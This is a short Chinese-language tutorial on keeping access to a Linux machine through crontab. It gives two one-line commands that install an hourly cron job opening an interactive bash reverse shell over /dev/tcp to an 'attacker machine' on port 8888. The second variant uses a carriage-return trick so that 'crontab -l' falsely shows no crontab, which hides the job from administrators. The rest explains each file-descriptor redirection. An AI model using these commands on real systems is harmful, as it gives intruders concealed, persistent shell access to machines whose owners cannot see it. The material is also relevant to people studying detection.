正常版本
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
升級猥瑣版本
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
crontab -l直接提示no crontab
分析:
echo '*/60 * * * *'
crontab格式 每隔60分鍾執行一次
exec 9<>/dev/tcp/127.0.0.1/8888
以讀寫方式打開/dev/tcp,並指定服務器名為:127.0.0.1(攻擊機) 端口號為:8888,指定描述符為9
要注意的是:/dev/tcp本身是不存在的,在/dev目錄下是找不到的
exec 0<&9;exec 1>&9 2>&1;
linux 三個基本文件描述符 0:stdin 1:stdout 2:stderr
n >&m 表示使文件描述符n成為描述符m的副本
exec 0<&9; 將fd9從定向到標准輸入;
exec 1>&9 2>&1; 將標准輸出從定向到文件fd9,將標准錯誤從定向到標准輸出.
簡單的理解為fd9=fd0 fd1=fd9 所以我的理解是,fd9從標准輸入讀入字符,處理后結果用標准輸出輸出.
/bin/bash --noprofile -i
打開一個shell